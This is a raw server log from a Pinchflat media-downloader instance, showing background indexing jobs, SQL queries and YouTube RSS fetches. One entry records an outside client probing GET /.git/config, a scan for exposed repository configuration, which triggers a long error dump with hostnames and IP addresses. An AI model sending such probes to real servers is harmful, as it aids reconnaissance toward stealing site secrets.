(?1,?2,?3,?4) RETURNING "id" [619, 1, ~U[2026-07-24 11:30:50Z], ~U[2026-07-24 11:30:50Z]] 11:30:50.159 [info] {"args":{"id":1},"id":616,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":195157,"event":"job:stop","queue_time":751896,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:30:56.538 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.426 [info] {"source":"oban","duration":300,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:04.980 [info] {"args":{"id":3},"id":617,"meta":{},"system_time":1784892664980114982,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:31:04.980 [debug] QUERY OK source="sources" db=0.0ms idle=1407.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:31:04.980 [debug] QUERY OK source="settings" db=0.0ms idle=1407.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:04.980 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:31:04.980 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:04.980 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:31:05.148 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:31:05.148 [debug] QUERY OK source="media_items" db=0.3ms idle=168.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:31:05.151 [debug] QUERY OK source="media_items" db=2.0ms idle=168.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 11:31:05.151 [debug] QUERY OK source="tasks" db=0.0ms idle=171.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [620, 3, ~U[2026-07-24 11:31:05Z], ~U[2026-07-24 11:31:05Z]] 11:31:05.152 [info] {"args":{"id":3},"id":617,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":171918,"event":"job:stop","queue_time":402387,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:31:26.539 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:56.540 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.427 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:26.541 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:56.542 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.428 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:26.543 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:56.544 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.429 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:26.545 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:37.505 [info] GET /.git/config 11:34:37.506 [debug] QUERY OK source="settings" db=0.1ms idle=1932.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:34:37.506 [debug] QUERY OK source="settings" db=0.0ms idle=1933.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:34:37.506 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:34:37.506 [error] #PID<0.8088.0> running PinchflatWeb.Endpoint (connection #PID<0.8087.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8087.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47430}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1", "x-forwarded-for" => "216.81.248.20", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.81.248.20" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.8088.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1"}, {"x-forwarded-for", "216.81.248.20"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.81.248.20"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU2nYXZhANlVuIAAEAD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8087.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47430}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1", "x-forwarded-for" => "216.81.248.20", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.81.248.20" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8087.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47430}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1", "x-forwarded-for" => "216.81.248.20", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.81.248.20" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.8088.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1"}, {"x-forwarded-for", "216.81.248.20"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.81.248.20"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 11:34:56.546 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.430 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:26.547 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:56.548 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.431 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:26.549 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:56.550 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.432 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:26.551 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:56.552 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.433 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:26.553 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:56.554 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.434 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:26.555 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:56.556 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.435 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:26.558 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:35.589 [info] {"args":{"id":2},"id":618,"meta":{},"system_time":1784893235589177101,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:40:35.589 [debug] QUERY OK source="sources" db=0.1ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:40:35.589 [debug] QUERY OK source="settings" db=0.1ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:40:35.589 [debug] QUERY OK source="media_profiles" db=0.0ms idle=10.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:40:35.590 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:40:35.590 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:40:35.716 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:40:35.717 [debug] QUERY OK source="media_items" db=0.2ms idle=127.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:40:35.717 [debug] QUERY OK source="media_items" db=0.2ms idle=128.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:40:35.718 [debug] QUERY OK source="tasks" db=0.0ms idle=128.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [621, 2, ~U[2026-07-24 11:40:35Z], ~U[2026-07-24 11:40:35Z]] 11:40:35.718 [info] {"args":{"id":2},"id":618,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129258,"event":"job:stop","queue_time":377475,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:40:50.604 [info] {"args":{"id":1},"id":619,"meta":{},"system_time":1784893250604113218,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:40:50.604 [debug] QUERY OK source="sources" db=0.1ms idle=1025.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:40:50.604 [debug] QUERY OK source="settings" db=0.0ms idle=1025.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:40:50.604 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:40:50.604 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:40:50.604 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:40:50.646 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:40:50.647 [debug] QUERY OK source="media_items" db=0.2ms idle=42.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:40:50.649 [debug] QUERY OK source="media_items" db=2.0ms idle=43.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 